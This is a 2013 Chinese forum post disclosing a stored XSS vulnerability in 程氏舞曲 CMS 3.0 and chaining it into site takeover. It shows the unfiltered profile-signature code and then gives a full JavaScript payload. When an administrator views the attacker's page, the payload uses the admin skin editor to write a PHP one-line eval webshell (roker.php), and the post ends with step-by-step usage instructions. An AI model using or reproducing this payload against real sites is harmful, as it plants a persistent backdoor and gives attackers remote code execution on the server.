程氏舞曲CMSPHP3.0 储存型xss getshell

admin · 发表于 2013-11-6 18:09:37

这个cms 以前 90有人发了个getshell,当时是后台验证文件的问题
官网已经修补了，所以重新下了源码
因为后台登入还需要认证码所以注入就没看了。
存在 xss
漏洞文件 user/member/skin_edit.php

</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>

</textarea></td></tr>

         user/do.php

if($op=='zl'){ //资料

         if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
         exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));

         $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',

         CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
         where CS_Name='".$cscms_name."'";

         if($db->query($sql)){

            exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);'));

         }else{

            exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);'));

         }

没有过滤导致xss产生。
后台看了下很奇葩的是可以写任意格式文件。。
抓包。。

于是构造js如下。

thisTHost = top.location.hostname;

thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";

function PostSubmit(url, data, msg) {
var postUrl = url;

var postData = data;
var msgData = msg;
var ExportForm = document.createElement("FORM");
document.body.appendChild(ExportForm);
ExportForm.method = "POST";
var newElement = document.createElement("input");
newElement.setAttribute("name", "name");
newElement.setAttribute("type", "hidden");
var newElement2 = document.createElement("input");
newElement2.setAttribute("name", "content");
newElement2.setAttribute("type", "hidden");
ExportForm.appendChild(newElement);
ExportForm.appendChild(newElement2);
newElement.value = postData;
newElement2.value = msgData;
ExportForm.action = postUrl;
ExportForm.submit();
};

PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");

</script>

http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处插入
用你的账号给管理写个私信或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改）
就会在 skins\index\html\目录下生成 roker.php 一句话。
